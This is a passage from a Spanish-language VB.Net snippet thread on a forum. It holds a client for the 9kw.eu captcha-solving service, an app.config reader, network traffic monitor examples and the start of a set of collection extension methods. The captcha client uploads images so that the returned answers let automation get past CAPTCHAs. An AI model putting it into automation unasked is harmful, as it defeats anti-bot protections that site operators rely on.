  132.    ''' ----------------------------------------------------------------------------------------------------
  133.    ''' <summary>
  134.    ''' </summary>
  135.    ''' ----------------------------------------------------------------------------------------------------
  136.    ''' <param name="data">
  137.    ''' The data.
  138.    ''' </param>
  139.    ''' ----------------------------------------------------------------------------------------------------
  140.    ''' <returns>
  141.    ''' System.String.
  142.    ''' </returns>
  143.    ''' ----------------------------------------------------------------------------------------------------
  144.    Private Function Get9kwApi(ByVal data As String) As String
  145.  
  146.        Return Me.Get9kwHttp(String.Format("http://www.9kw.eu/index.cgi?source=vbapi&debug=0&apikey={0}&action=" & data, Me.apiKeyB))
  147.  
  148.    End Function
  149.  
  150.    ''' ----------------------------------------------------------------------------------------------------
  151.    ''' <summary>
  152.    ''' </summary>
  153.    ''' ----------------------------------------------------------------------------------------------------
  154.    ''' <param name="url">
  155.    ''' The URL.
  156.    ''' </param>
  157.    ''' ----------------------------------------------------------------------------------------------------
  158.    ''' <returns>
  159.    ''' System.String.
  160.    ''' </returns>
  161.    ''' ----------------------------------------------------------------------------------------------------
  162.    Private Function Get9kwHttp(ByVal url As String) As String
  163.  
  164.        Dim httpClient As New HttpClient
  165.        Dim httpGet As New HttpGet(New Uri(url))
  166.        Dim httpResponse As HttpResponse = httpClient.Execute(httpGet)
  167.  
  168.        Return EntityUtils.ToString(httpResponse.Entity)
  169.  
  170.    End Function
  171.  
  172.    ''' ----------------------------------------------------------------------------------------------------
  173.    ''' <summary>
  174.    ''' </summary>
  175.    ''' ----------------------------------------------------------------------------------------------------
  176.    ''' <param name="data">
  177.    ''' The data.
  178.    ''' </param>
  179.    ''' ----------------------------------------------------------------------------------------------------
  180.    ''' <returns>
  181.    ''' System.String.
  182.    ''' </returns>
  183.    ''' ----------------------------------------------------------------------------------------------------
  184.    Private Function Get9kwApiUpload(ByVal data As String) As String
  185.  
  186.        Dim client As New HttpClient
  187.        Dim postMethod As New HttpPost(New Uri("http://www.9kw.eu/index.cgi"))
  188.  
  189.        Dim multipartEntity As New MultipartEntity
  190.        postMethod.Entity = multipartEntity
  191.  
  192.        Dim stringBody As New StringBody(Encoding.UTF8, "apikey", Me.apiKeyB)
  193.        multipartEntity.AddBody(stringBody)
  194.  
  195.        Dim stringBody3 As New StringBody(Encoding.UTF8, "source", "vbapi")
  196.        multipartEntity.AddBody(stringBody3)
  197.  
  198.        Dim stringBody2 As New StringBody(Encoding.UTF8, "action", "usercaptchaupload")
  199.        multipartEntity.AddBody(stringBody2)
  200.  
  201.        Dim fileInfo As New FileInfo(data)
  202.        Dim fileBody As New FileBody("file-upload-01", data, fileInfo)
  203.        multipartEntity.AddBody(fileBody)
  204.  
  205.        Dim response As HttpResponse = client.Execute(postMethod)
  206.        Return EntityUtils.ToString(response.Entity)
  207.  
  208.    End Function
  209.  
  210. #End Region
  211.  
  212. #Region " Public Methods "
  213.  
  214.    ''' ----------------------------------------------------------------------------------------------------
  215.    ''' <summary>
  216.    ''' Gets the current remaining credits.
  217.    ''' </summary>
  218.    ''' ----------------------------------------------------------------------------------------------------
  219.    ''' <returns>
  220.    ''' The current remaining credits.
  221.    ''' </returns>
  222.    ''' ----------------------------------------------------------------------------------------------------
  223.    Public Function GetCredits() As String
  224.  
  225.        Return Me.Get9kwApi("usercaptchaguthaben")
  226.  
  227.    End Function
  228.  
  229.    ''' ----------------------------------------------------------------------------------------------------
  230.    ''' <summary>
  231.    ''' Solves the specified captcha image.
  232.    ''' </summary>
  233.    ''' ----------------------------------------------------------------------------------------------------
  234.    ''' <param name="imagePath">
  235.    ''' The image path.
  236.    ''' </param>
  237.    '''
  238.    ''' <param name="checkInterval">
  239.    ''' The interval to check whether the captcha is solved.
  240.    ''' </param>
  241.    '''
  242.    ''' <param name="totalTries">
  243.    ''' The total intents. ( <paramref name="totalTries"/> * <paramref name="checkInterval"/> ).
  244.    ''' </param>
  245.    ''' ----------------------------------------------------------------------------------------------------
  246.    ''' <returns>
  247.    ''' The solved text.
  248.    ''' </returns>
  249.    ''' ----------------------------------------------------------------------------------------------------
  250.    Public Function SolveCaptcha(ByVal imagePath As String,
  251.                                 Optional ByVal checkInterval As Integer = 2000,
  252.                                 Optional ByVal totalTries As Integer = 100) As String
  253.  
  254.        Dim newCaptchaID As String = Me.Get9kwApiUpload(imagePath)
  255.        Dim checkdata As String = String.Empty
  256.        Dim counter As Integer = 0
  257.  
  258.        Do Until Not String.IsNullOrEmpty(checkdata)
  259.  
  260.            If Interlocked.Increment(counter) = totalTries Then
  261.                Exit Do
  262.            Else
  263.                Thread.Sleep(checkInterval)
  264.            End If
  265.  
  266.            checkdata = Me.Get9kwApi("usercaptchacorrectdata&id=" & newCaptchaID)
  267.  
  268.        Loop
  269.  
  270.        Return checkdata
  271.  
  272.    End Function
  273.  
  274. #End Region
  275.  
  276. End Class
  277.  
  278. #End Region


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2015, 09:11 am
AppConfigUtil, es una class que expone un simple parser de uso genérico para comprovar el valor de una propiedad declarada en la configuración de aplicación (appconfig), el cual no he optimizado para los tipos de estructura del árbol de nodos del appconfig ...podría ser ineficiente en ciertos escenarios, pero es un comienzo.

Por ejemplo, para saber si los contadores de rendimientos están activados en el appconfig de una aplicación .Net, lo podriamos utilizar de la siguiente manera:

Código
  1. Dim isPerfCountersEnabled As boolean = GetAppConfigSetting(Of Boolean)("system.net", "settings", "performanceCounters", "enabled")

O utilizar el método IsPerformanceCountersEnabled definido expresamente para esa labor.

Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 18-September-2015
  4. ' ***********************************************************************
  5. ' <copyright file="AppConfigUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Public Members Summary "
  11.  
  12. #Region " Functions "
  13.  
  14. ' GetAppConfigSetting(Of T)(String, String, String, String, Optional:String) As T
  15. ' GetAppConfigSetting(Of T)(String, String, String, String) As T
  16. ' IsPerformanceCountersEnabled(Optional:String) As Boolean
  17.  
  18. #End Region
  19.  
  20. #End Region
  21.  
  22. #Region " Option Statements "
  23.  
  24. Option Strict On
  25. Option Explicit On
  26. Option Infer Off
  27.  
  28. #End Region
  29.  
  30. #Region " Imports "
  31.  
  32. Imports System
  33. Imports System.Configuration
  34. Imports System.Linq
  35. Imports System.Net.Configuration
  36.  
  37. #End Region
  38.  
  39. #Region " AppConfig Util "
  40.  
  41. ''' ----------------------------------------------------------------------------------------------------
  42. ''' <summary>
  43. ''' Contains related AppConfig utilities.
  44. ''' </summary>
  45. ''' ----------------------------------------------------------------------------------------------------
  46. Public NotInheritable Class AppConfigUtil
  47.  
  48. #Region " Public Methods "
  49.  
  50.    ''' ----------------------------------------------------------------------------------------------------
  51.    ''' <summary>
  52.    ''' Gets the value of a setting declared in the application configuration file (app.config)
  53.    ''' of the specified application.
  54.    ''' </summary>
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    ''' <example> This is a code example.
  57.    ''' <code>
  58.    ''' Dim isPerfCountersEnabled As boolean = GetAppConfigSetting(Of Boolean)("system.net", "settings", "performanceCounters", "enabled")
  59.    ''' </code>
  60.    ''' </example>
  61.    ''' ----------------------------------------------------------------------------------------------------
  62.    ''' <typeparam name="T">
  63.    ''' </typeparam>
  64.    '''
  65.    ''' <param name="sectionGroupName">
  66.    ''' The name of the section group.
  67.    ''' </param>
  68.    '''
  69.    ''' <param name="sectionName">
  70.    ''' The name of the section.
  71.    ''' </param>
  72.    '''
  73.    ''' <param name="elementName">
  74.    ''' The name of the element.
  75.    ''' </param>
  76.    '''
  77.    ''' <param name="propertyName">
  78.    ''' The name of the property.
  79.    ''' </param>
  80.    '''
  81.    ''' <param name="exePath">
  82.    ''' The executable path of the current or an external .Net application.
  83.    ''' If any path is specified, it assumes the current application.
  84.    ''' </param>
  85.    ''' ----------------------------------------------------------------------------------------------------
  86.    ''' <returns>
  87.    ''' If the SectionGroup, the Section, the Element, or the Property doesn't exist, the return value is <see langword="Nothing"/>,
  88.    ''' otherwise, the value.
  89.    ''' </returns>
  90.    ''' ----------------------------------------------------------------------------------------------------
  91.    <DebuggerStepThrough>
  92.    <DebuggerHidden>
  93.    Public Shared Function GetAppConfigSetting(Of T)(ByVal sectionGroupName As String,
  94.                                                     ByVal sectionName As String,
  95.                                                     ByVal elementName As String,
  96.                                                     ByVal propertyName As String,
  97.                                                     Optional ByVal exePath As String = "") As T
  98.  
  99.        Dim appConfig As Configuration
  100.        Dim group As ConfigurationSectionGroup
  101.        Dim section As ConfigurationSection
  102.        Dim sectionPropInfo As PropertyInformation
  103.        Dim element As ConfigurationElement
  104.        Dim elementPropInfo As PropertyInformation
  105.  
  106.        If Not String.IsNullOrEmpty(exePath) Then
  107.            appConfig = ConfigurationManager.OpenExeConfiguration(exePath)
  108.        Else
  109.            appConfig = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None)
  110.        End If
  111.  
  112.        group = appConfig.GetSectionGroup(sectionGroupName)
  113.        If group Is Nothing Then
  114.            Return Nothing
  115.        End If
  116.  
  117.        section = group.Sections(sectionName)
  118.        If section Is Nothing Then
  119.            Return Nothing
  120.        End If
  121.  
  122.        sectionPropInfo = section.ElementInformation.Properties(elementName)
  123.        If sectionPropInfo Is Nothing Then
  124.            Return Nothing
  125.        End If
  126.  
  127.        element = DirectCast(sectionPropInfo.Value, ConfigurationElement)
  128.        If element Is Nothing Then
  129.            Return Nothing
  130.        End If
  131.  
  132.        elementPropInfo = element.ElementInformation.Properties(propertyName)
  133.        If elementPropInfo Is Nothing Then
  134.            Return Nothing
  135.        End If
  136.  
  137.        Return DirectCast(elementPropInfo.Value, T)
  138.  
  139.    End Function
  140.  
  141.    ''' ----------------------------------------------------------------------------------------------------
  142.    ''' <summary>
  143.    ''' Gets the value of a setting declared in the application configuration file (app.config)
  144.    ''' of the specified application.
  145.    ''' </summary>
  146.    ''' ----------------------------------------------------------------------------------------------------
  147.    ''' <typeparam name="T">
  148.    ''' </typeparam>
  149.    '''
  150.    ''' <param name="sectionName">
  151.    ''' The name of the section.
  152.    ''' </param>
  153.    '''
  154.    ''' <param name="elementName">
  155.    ''' The name of the element.
  156.    ''' </param>
  157.    '''
  158.    ''' <param name="propertyName">
  159.    ''' The name of the property.
  160.    ''' </param>
  161.    '''
  162.    ''' <param name="exePath">
  163.    ''' The executable path of the current or an external .Net application.
  164.    ''' If any path is specified, it assumes the current application.
  165.    ''' </param>
  166.    ''' ----------------------------------------------------------------------------------------------------
  167.    ''' <returns>
  168.    ''' If the Section, the Element, or the Property doesn't exist, the return value is <see langword="Nothing"/>,
  169.    ''' otherwise, the value.
  170.    ''' </returns>
  171.    ''' ----------------------------------------------------------------------------------------------------
  172.    <DebuggerStepThrough>
  173.    <DebuggerHidden>
  174.    Public Shared Function GetAppConfigSetting(Of T)(ByVal sectionName As String,
  175.                                                     ByVal elementName As String,
  176.                                                     ByVal propertyName As String,
  177.                                                     Optional ByVal exePath As String = "") As T
  178.  
  179.        Dim appConfig As Configuration
  180.        Dim section As ConfigurationSection
  181.        Dim sectionPropInfo As PropertyInformation
  182.        Dim element As ConfigurationElement
  183.        Dim elementPropInfo As PropertyInformation
  184.  
  185.        If Not String.IsNullOrEmpty(exePath) Then
  186.            appConfig = ConfigurationManager.OpenExeConfiguration(exePath)
  187.        Else
  188.            appConfig = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None)
  189.        End If
  190.  
  191.        section = appConfig.GetSection(sectionName)
  192.        If section Is Nothing Then
  193.            Return Nothing
  194.        End If
  195.  
  196.        sectionPropInfo = section.ElementInformation.Properties(elementName)
  197.        If sectionPropInfo Is Nothing Then
  198.            Return Nothing
  199.        End If
  200.  
  201.        element = DirectCast(sectionPropInfo.Value, ConfigurationElement)
  202.        If element Is Nothing Then
  203.            Return Nothing
  204.        End If
  205.  
  206.        elementPropInfo = element.ElementInformation.Properties(propertyName)
  207.        If elementPropInfo Is Nothing Then
  208.            Return Nothing
  209.        End If
  210.  
  211.        Return DirectCast(elementPropInfo.Value, T)
  212.  
  213.    End Function
  214.  
  215.    ''' ----------------------------------------------------------------------------------------------------
  216.    ''' <summary>
  217.    ''' Determines whether the performance counters feature is enabled in the application configuration file (app.config)
  218.    ''' of the specified application.
  219.    ''' </summary>
  220.    ''' ----------------------------------------------------------------------------------------------------
  221.    ''' <param name="exePath">
  222.    ''' The executable path of the current or an external .Net application.
  223.    ''' If any path is specified, it assumes the current application.
  224.    ''' </param>
  225.    ''' ----------------------------------------------------------------------------------------------------
  226.    ''' <returns>
  227.    ''' Returns <see langword="False"/> if the performance counters feature is disabled or if the "system.net" section is not defined;
  228.    ''' otherwise, <see langword="True"/>.
  229.    ''' </returns>
  230.    ''' ----------------------------------------------------------------------------------------------------
  231.    <DebuggerStepThrough>
  232.    <DebuggerHidden>
  233.    Public Shared Function IsPerformanceCountersEnabled(Optional ByVal exePath As String = "") As Boolean
  234.  
  235.        Dim appConfig As Configuration
  236.        Dim group As NetSectionGroup
  237.  
  238.        If Not String.IsNullOrEmpty(exePath) Then
  239.            appConfig = ConfigurationManager.OpenExeConfiguration(exePath)
  240.        Else
  241.            appConfig = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None)
  242.        End If
  243.  
  244.        group = DirectCast(appConfig.GetSectionGroup("system.net"), NetSectionGroup)
  245.  
  246.        Return (group IsNot Nothing AndAlso group.Settings.PerformanceCounters.Enabled)
  247.  
  248.    End Function
  249.  
  250. #End Region
  251.  
  252. End Class
  253.  
  254. #End Region


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2015, 09:20 am
NetworkUtil.vb, esta class expone varias funcionalidades relacionadas con los adaptadores de red, desde un evento compartido, NetworkUtil.NetworkStatusChanged, el cual se puede utilizar para monitorizar el estado de la conexión, hasta las classes NetworkUtil.NetworkTrafficMonitor, y NetworkUtil.ProcessTrafficMonitor
 que, con sus respectivos eventos a los que uno se puede suscribir, sirven para monitorizar el consumo de tráfico de una red, o el de un proces en particular. Realmente tiene poco más que lo que acabo de mencionar xD.

Source:
http://pastebin.com/byCZSqGc

Ejemplo para monitorizar el estado de la red:
Código
  1. Public Class Form1
  2.  
  3.    Private Sub Form1_Shown() Handles MyBase.Load
  4.  
  5.        AddHandler NetworkUtil.NetworkStatusChanged, AddressOf DoNetworkStatusChanged
  6.  
  7.    End Sub
  8.  
  9.    Private Sub DoNetworkStatusChanged(ByVal sender As Object, e As NetworkUtil.NetworkStatusChangedArgs)
  10.  
  11.        If e.IsAvailable Then
  12.            Console.WriteLine("Network is available.")
  13.  
  14.        Else
  15.            Console.WriteLine("Network is not available.")
  16.  
  17.        End If
  18.  
  19.    End Sub
  20.  
  21. End Class

Ejemplo para monitorizar el tráfico de red:
Código
  1. Public NotInheritable Class Form1 : Inherits Form
  2.  
  3.     Dim WithEvents netMon As NetworkUtil.NetworkTrafficMonitor
  4.  
  5.     Private Sub Form1_Load() Handles MyBase.Load
  6.  
  7.         Me.netMon = New NetworkUtil.NetworkTrafficMonitor(NetworkUtil.NetworkTrafficMonitor.GetAvaliableInterfaceNames.First)
  8.         Me.netMon.UpdateBehavior = NetworkUtil.NetworkTrafficMonitor.UpdateBehaviorEnum.FireAlwaysAfterTick
  9.         Me.netMon.UpdateInterval = 1000 ' 1 sec
  10.         Me.netMon.Start()
  11.  
  12.     End Sub
  13.  
  14.     '''  ----------------------------------------------------------------------------------------------------
  15.     '''  <summary>
  16.     '''  Handles the <see cref="NetworkUtil.NetworkTrafficMonitor.TrafficChanged"/> event of the netMon instance.
  17.     '''  </summary>
  18.     '''  ----------------------------------------------------------------------------------------------------
  19.     '''  <param name="sender">T
  20.     '''  The source of the event.
  21.     '''  </param>
  22.     '''  
  23.     '''  <param name="e">
  24.     '''  The <see cref="NetworkUtil.NetworkTrafficMonitor.TrafficChangedEventArgs"/> instance containing the event data.
  25.     '''  </param>
  26.     '''  ----------------------------------------------------------------------------------------------------
  27.     Private Sub NetMon_TrafficChanged(ByVal sender As Object, ByVal e As NetworkUtil.NetworkTrafficMonitor.TrafficChangedEventArgs) _
  28.     Handles netMon.TrafficChanged
  29.  
  30.         Me.LabelBytesReceived.Text = String.Format("Bytes received: {0} kb", (e.BytesReceived / 1024).ToString("n2"))
  31.         Me.LabelDlSpeed.Text = String.Format("DL Speed: {0} kb/sec", (e.DiffBytesReceived / 1024).ToString("n2"))
  32.  
  33.         Me.LabelBytesSent.Text = String.Format("Bytes sent: {0} kb", (e.BytesSent / 1024).ToString("n2"))
  34.         Me.LabelUlSpeed.Text = String.Format("UL Speed: {0} kb/sec", (e.DiffBytesSent / 1024).ToString("n2"))
  35.  
  36.     End Sub
  37.  
  38.     Private Sub BtDownloadUrl_Click() Handles BtDownloadUrl.Click
  39.  
  40.         Dim url As String = "http://download.thinkbroadband.com/10MB.zip"
  41.         Dim client As New WebClient()
  42.         client.DownloadFileAsync(New Uri(url), Path.GetTempFileName())
  43.  
  44.     End Sub
  45.  
  46.     Private Sub BtPauseMon_Click() Handles BtPauseMon.Click
  47.  
  48.         If Me.netMon.IsActive Then
  49.             Me.netMon.Stop()
  50.         Else
  51.             Me.netMon.Start()
  52.         End If
  53.  
  54.     End Sub
  55.  
  56. End Class

Ejemplo para monitorizar el tráfico de una aplicación .Net (que tenga los contadores de rendimiento habilitados):
Código
  1. Public NotInheritable Class Form1 : Inherits Form
  2.  
  3.    Dim WithEvents procNetMon As NetworkUtil.ProcessTrafficMonitor
  4.  
  5.    Private Sub Form1_Load() Handles MyBase.Load
  6.  
  7.        Me.procNetMon = New NetworkUtil.ProcessTrafficMonitor(Process.GetCurrentProcess.Id)
  8.        Me.procNetMon.UpdateBehavior = NetworkUtil.ProcessTrafficMonitor.UpdateBehaviorEnum.FireAlwaysAfterTick
  9.        Me.procNetMon.UpdateInterval = 1000 ' 1 sec
  10.        Me.procNetMon.Start()
  11.  
  12.    End Sub
  13.  
  14.   ''' ----------------------------------------------------------------------------------------------------
  15.   ''' <summary>
  16.   ''' Handles the <see cref="NetworkUtil.ProcessTrafficMonitor.TrafficChanged"/> event of the procNetMon instance.
  17.   ''' </summary>
  18.   ''' ----------------------------------------------------------------------------------------------------
  19.   ''' <param name="sender">T
  20.   ''' The source of the event.
  21.   ''' </param>
  22.   '''
  23.   ''' <param name="e">
  24.   ''' The <see cref="NetworkUtil.ProcessTrafficMonitor.TrafficChangedEventArgs"/> instance containing the event data.
  25.   ''' </param>
  26.   ''' -----------------------------------------------------------------------------------------------------
  27.    Private Sub ProcNetMon_TrafficChanged(ByVal sender As Object, ByVal e As NetworkUtil.ProcessTrafficMonitor.TrafficChangedEventArgs) _
  28.    Handles procNetMon.TrafficChanged
  29.  
  30.        Me.LabelBytesReceived.Text = String.Format("Bytes received: {0} kb", (e.BytesReceived / 1024).ToString("n2"))
  31.        Me.LabelDlSpeed.Text = String.Format("DL Speed: {0} kb/sec", (e.DiffBytesReceived / 1024).ToString("n2"))
  32.  
  33.        Me.LabelBytesSent.Text = String.Format("Bytes sent: {0} kb", (e.BytesSent / 1024).ToString("n2"))
  34.        Me.LabelUlSpeed.Text = String.Format("UL Speed: {0} kb/sec", (e.DiffBytesSent / 1024).ToString("n2"))
  35.  
  36.    End Sub
  37.  
  38.    Private Sub BtDownloadUrl_Click() Handles BtDownloadUrl.Click
  39.  
  40.        Dim url As String = "http://download.thinkbroadband.com/10MB.zip"
  41.        Dim client As New WebClient()
  42.        client.DownloadFileAsync(New Uri(url), Path.GetTempFileName())
  43.  
  44.    End Sub
  45.  
  46.    Private Sub BtPauseMon_Click() Handles BtPauseMon.Click
  47.  
  48.        If Me.procNetMon.IsActive Then
  49.            Me.procNetMon.Stop()
  50.        Else
  51.            Me.procNetMon.Start()
  52.        End If
  53.  
  54.    End Sub
  55.  
  56. End Class


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Septiembre 2015, 09:35 am
IEnumerable(Of T) Extensions, cómo su propio nombre indica, expone varias extensiones de método para utilizarlas con una colección genérica.

Las extensiones son las siguiente, si alguna no es lo suficientemente aclaratoria entonces pueden usar IntelliSense o el ObjectInspector para conocer el propósito de cada una:
Código
  1. IEnumerable(Of T)().ConcatMultiple(IEnumerable(Of T)()) As IEnumerable(Of T)
  2. IEnumerable(Of T)().StringJoin As IEnumerable(Of T)
  3. IEnumerable(Of T).CountEmptyItems As Integer
  4. IEnumerable(Of T).CountNonEmptyItems As Integer
  5. IEnumerable(Of T).Duplicates As IEnumerable(Of T)
  6. IEnumerable(Of T).Randomize As IEnumerable(Of T)
  7. IEnumerable(Of T).RemoveDuplicates As IEnumerable(Of T)
  8. IEnumerable(Of T).SplitIntoNumberOfElements(Integer) As IEnumerable(Of T)
  9. IEnumerable(Of T).SplitIntoNumberOfElements(Integer, Boolean, T) As IEnumerable(Of T)
  10. IEnumerable(Of T).SplitIntoParts(Integer) As IEnumerable(Of T)
  11. IEnumerable(Of T).UniqueDuplicates As IEnumerable(Of T)
  12. IEnumerable(Of T).Uniques As IEnumerable(Of T)

Puse ejemplos de uso para cada extensión en la documentación XML del código fuente.

Source:
Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 10-September-2015
  4. ' ***********************************************************************
  5. ' <copyright file="IEnumerableExtensions.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Public Members Summary "
  11.  
  12. #Region " Functions "
  13.  
  14. ' IEnumerable(Of T)().ConcatMultiple(IEnumerable(Of T)()) As IEnumerable(Of T)
  15. ' IEnumerable(Of T)().StringJoin As IEnumerable(Of T)
  16. ' IEnumerable(Of T).CountEmptyItems As Integer
  17. ' IEnumerable(Of T).CountNonEmptyItems As Integer
  18. ' IEnumerable(Of T).Duplicates As IEnumerable(Of T)
  19. ' IEnumerable(Of T).Randomize As IEnumerable(Of T)
  20. ' IEnumerable(Of T).RemoveDuplicates As IEnumerable(Of T)
  21. ' IEnumerable(Of T).SplitIntoNumberOfElements(Integer) As IEnumerable(Of T)
  22. ' IEnumerable(Of T).SplitIntoNumberOfElements(Integer, Boolean, T) As IEnumerable(Of T)
  23. ' IEnumerable(Of T).SplitIntoParts(Integer) As IEnumerable(Of T)
  24. ' IEnumerable(Of T).UniqueDuplicates As IEnumerable(Of T)
  25. ' IEnumerable(Of T).Uniques As IEnumerable(Of T)
  26.  
  27. #End Region
  28.  
  29. #End Region
  30.  
  31. #Region " Option Statements "
  32.  
  33. Option Strict On
  34. Option Explicit On
  35. Option Infer Off
  36.  
  37. #End Region
  38.  
  39. #Region " Imports "
  40.  
  41. Imports System
  42. Imports System.Collections.Generic
  43. Imports System.Diagnostics
  44. Imports System.Linq
  45. Imports System.Runtime.CompilerServices
  46.  
  47. #End Region
  48.  
  49. #Region " IEnumerableUtil "
  50.  
  51. ''' ----------------------------------------------------------------------------------------------------
  52. ''' <summary>
  53. ''' Contains custom extension methods to use with an <see cref="IEnumerable(Of T)"/>.
  54. ''' </summary>
  55. ''' ----------------------------------------------------------------------------------------------------
  56. Public Module IEnumerableExtensions
  57.  
  58.    ''' ----------------------------------------------------------------------------------------------------
  59.    ''' <remarks>
  60.    ''' Title : Get All Duplicates.
  61.    ''' Author: Elektro
  62.    ''' Date  : 08-March-2015
  63.    ''' </remarks>
  64.    ''' ----------------------------------------------------------------------------------------------------
  65.    ''' <example> This is a code example.
  66.    ''' <code>
  67.    ''' Dim col As IEnumerable(Of Integer) = {1, 1, 2, 2, 3, 3, 0}
  68.    ''' Debug.WriteLine(String.Join(", ", col.Duplicates))
  69.    ''' </code>
  70.    ''' </example>
  71.    ''' ----------------------------------------------------------------------------------------------------
  72.    ''' <summary>
  73.    ''' Gets all the duplicated values of the source <see cref="IEnumerable(Of T)"/>.
  74.    ''' </summary>
  75.    ''' ----------------------------------------------------------------------------------------------------
  76.    ''' <typeparam name="T">
  77.    ''' </typeparam>
  78.    '''
  79.    ''' <param name="sender">
  80.    ''' The source collection.
  81.    ''' </param>
  82.    ''' ----------------------------------------------------------------------------------------------------
  83.    ''' <returns>
  84.    ''' <see cref="IEnumerable(Of T)"/>.
  85.    ''' </returns>
  86.    ''' ----------------------------------------------------------------------------------------------------
  87.    <DebuggerStepThrough>
  88.    <DebuggerHidden>
  89.    <Extension>
  90.    Public Function Duplicates(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
  91.  
  92.        Return sender.GroupBy(Function(value As T) value).
  93.                      Where(Function(group As IGrouping(Of T, T)) group.Count > 1).
  94.                      SelectMany(Function(group As IGrouping(Of T, T)) group)
  95.  
  96.    End Function
  97.  
  98.    ''' ----------------------------------------------------------------------------------------------------
  99.    ''' <remarks>
  100.    ''' Title : Get Unique Duplicates.
  101.    ''' Author: Elektro
  102.    ''' Date  : 08-March-2015
  103.    ''' </remarks>
  104.    ''' ----------------------------------------------------------------------------------------------------
  105.    ''' <example> This is a code example.
  106.    ''' <code>
  107.    ''' Dim col As IEnumerable(Of Integer) = {1, 1, 2, 2, 3, 3, 0}
  108.    ''' Debug.WriteLine(String.Join(", ", col.UniqueDuplicates))
  109.    ''' </code>
  110.    ''' </example>
  111.    ''' ----------------------------------------------------------------------------------------------------
  112.    ''' <summary>
  113.    ''' Gets the unique duplicated values of the source <see cref="IEnumerable(Of T)"/>.
  114.    ''' </summary>
  115.    ''' ----------------------------------------------------------------------------------------------------
  116.    ''' <typeparam name="T">
  117.    ''' </typeparam>
  118.    '''
  119.    ''' <param name="sender">
  120.    ''' The source collection.
  121.    ''' </param>
  122.    ''' ----------------------------------------------------------------------------------------------------
  123.    ''' <returns>
  124.    ''' <see cref="IEnumerable(Of T)"/>.
  125.    ''' </returns>
  126.    ''' ----------------------------------------------------------------------------------------------------
  127.    <DebuggerStepThrough>
  128.    <DebuggerHidden>
  129.    <Extension>
  130.    Public Function UniqueDuplicates(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
  131.  
  132.        Return sender.GroupBy(Function(value As T) value).
  133.                      Where(Function(group As IGrouping(Of T, T)) group.Count > 1).
  134.                      Select(Function(group As IGrouping(Of T, T)) group.Key)
  135.  
  136.    End Function
  137.  
  138.    ''' ----------------------------------------------------------------------------------------------------
  139.    ''' <remarks>
  140.    ''' Title : Get Unique Values.
  141.    ''' Author: Elektro
  142.    ''' Date  : 08-March-2015
  143.    ''' </remarks>
  144.    ''' ----------------------------------------------------------------------------------------------------
  145.    ''' <example> This is a code example.
  146.    ''' <code>
  147.    ''' Dim col As IEnumerable(Of Integer) = {1, 1, 2, 2, 3, 3, 0}
  148.    ''' Debug.WriteLine(String.Join(", ", col.Uniques))
  149.    ''' </code>
  150.    ''' </example>
  151.    ''' ----------------------------------------------------------------------------------------------------
  152.    ''' <summary>
  153.    ''' Gets the unique values of the source <see cref="IEnumerable(Of T)"/>.
  154.    ''' </summary>
  155.    ''' ----------------------------------------------------------------------------------------------------
  156.    ''' <typeparam name="T">
  157.    ''' </typeparam>
  158.    '''
  159.    ''' <param name="sender">
  160.    ''' The source collection.
  161.    ''' </param>
  162.    ''' ----------------------------------------------------------------------------------------------------
  163.    ''' <returns>
  164.    ''' <see cref="IEnumerable(Of T)"/>.
  165.    ''' </returns>
  166.    ''' ----------------------------------------------------------------------------------------------------
  167.    <DebuggerStepThrough>
  168.    <DebuggerHidden>
  169.    <Extension>
  170.    Public Function Uniques(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
  171.  
  172.        Return sender.Except(IEnumerableExtensions.UniqueDuplicates(sender))
  173.  
  174.    End Function
  175.  
  176.    ''' ----------------------------------------------------------------------------------------------------
  177.    ''' <remarks>
  178.    ''' Title : Remove Duplicates.
  179.    ''' Author: Elektro
  180.    ''' Date  : 08-March-2015
  181.    ''' </remarks>
  182.    ''' ----------------------------------------------------------------------------------------------------
  183.    ''' <example> This is a code example.
  184.    ''' <code>
  185.    ''' Dim col As IEnumerable(Of Integer) = {1, 1, 2, 2, 3, 3, 0}
  186.    ''' Debug.WriteLine(String.Join(", ", col.RemoveDuplicates))
  187.    ''' </code>
  188.    ''' </example>
  189.    ''' ----------------------------------------------------------------------------------------------------
  190.    ''' <summary>
  191.    ''' Removes duplicated values in the source <see cref="IEnumerable(Of T)"/>.
  192.    ''' </summary>
  193.    ''' ----------------------------------------------------------------------------------------------------
  194.    ''' <typeparam name="T">
  195.    ''' </typeparam>
  196.    '''
  197.    ''' <param name="sender">
  198.    ''' The source collection.
  199.    ''' </param>
  200.    ''' ----------------------------------------------------------------------------------------------------
  201.    ''' <returns>
  202.    ''' <see cref="IEnumerable(Of T)"/>.
  203.    ''' </returns>
  204.    ''' ----------------------------------------------------------------------------------------------------
  205.    <DebuggerStepThrough>
  206.    <DebuggerHidden>
  207.    <Extension>
  208.    Public Function RemoveDuplicates(Of T)(ByVal sender As IEnumerable(Of T)) As IEnumerable(Of T)
  209.  
  210.        Return sender.Distinct
  211.  
  212.    End Function
  213.  
  214.    ''' ----------------------------------------------------------------------------------------------------
  215.    ''' <remarks>
  216.    ''' Title : Split Collection Into Number Of Parts.
  217.    ''' Author: Elektro
  218.    ''' Date  : 08-March-2015
  219.    ''' </remarks>
  220.    ''' ----------------------------------------------------------------------------------------------------
  221.    ''' <example> This is a code example.
  222.    ''' <code>
  223.    '''  Dim mainCol As IEnumerable(Of Integer) = {1, 2, 3, 4, 5, 6, 7, 8, 9, 0}
